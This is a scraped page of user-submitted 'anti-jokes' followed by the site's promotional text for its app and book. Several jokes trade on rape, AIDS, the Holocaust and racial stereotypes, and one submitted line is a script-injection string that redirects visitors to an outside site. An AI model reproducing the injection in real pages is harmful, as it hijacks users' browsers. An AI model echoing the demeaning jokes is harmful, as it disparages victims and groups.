Why didn't andrea clean the dishes? She had no hands

When life gives you lemons, throw them at pedestrians.

Why did the chicken cross the road? It felt like it, no particular reason. Why did the hippo cross the road? Same reason as the chicken. Why did the Fred cross the road? He was with animal control, and a chicken and hippo had just been reported to cross this dangerous stretch of highway.

What's worse than aids? Being a virgin.

Q: What's worse than finding half a worm in your apple? A: Getting raped by a giant scorpian. Q: So what's worse than getting raped by a giant scorpian? A: The punchline of this joke,

Whats worse than finding an worm in your apple? 1942 BERLIN

An Englishmen, an Irishman and a Scotsman walk into a bar, and ordered a beer. They later went home and slept. They woke up the next morning with a slight hangover.

yo mama so old that back in her school she didnt have history class

How do you wake up Lady Gaga? You shove her off the bed

there was a Black and Mexican in a car who was driving? the cop

roses are red violets are blue a pyschorapist just ate me refrigerator

What did the farmer say when he couldnt find his tractor? "Wheres my tractor?"

What is the similarity between John W. Booth and Pee Wee Herman? They both got arrested for shooting someone in the back of the head in the theater.

"'>document.location.href="http://cramik.org"

An obese man walked into McDonalds and ordered 6 Big Macs. He proceeded to walk to a booth in the back corner and eat them all. Turns out he was white.

::ring::ring::ring:: Hello? Is your refrigerator running? Yes, yes it does! Why? I work for a local home appliance superstore and we are having a special on repairs and maintenance. Would you like to try our home appliance maintenance offer? I'm sorry no! I do not actually have a refrigerator. I only have a cooler. Bye! ::the man shuts off his cell phone and sets it on top of his styro-foam cooler as he mumbles to himself alone while on his boat, "Darn advertisement offers!" and continues to fish in the middle of the lake::

A boy walks into a shop He buys some sweets.

what do you say to a woman on her rags? nothing.try and ignore it.you didn't hear this from me and we never talked.

Why was the mouse flying? Because an Owl picked it up, carried it to a tree and ate it.

How do you drown a black man? You refuse to help him due to your pride and therefore you are no longer a decent member of society.

I once saw a small Italian man wearing trainers with a smart suit. He looked like an idiot, but I considered the option that he may not have had any money left after buying the suit to buy shoes. Exercising diplomacy, I left him be and enjoyed a nice meal with he and his trainers.

Where did the 5 gay guys go? One direction

whats worse than a paper cut? 2012

whats worse than getting no gifts for christmas? getting hit by a bus for christmas

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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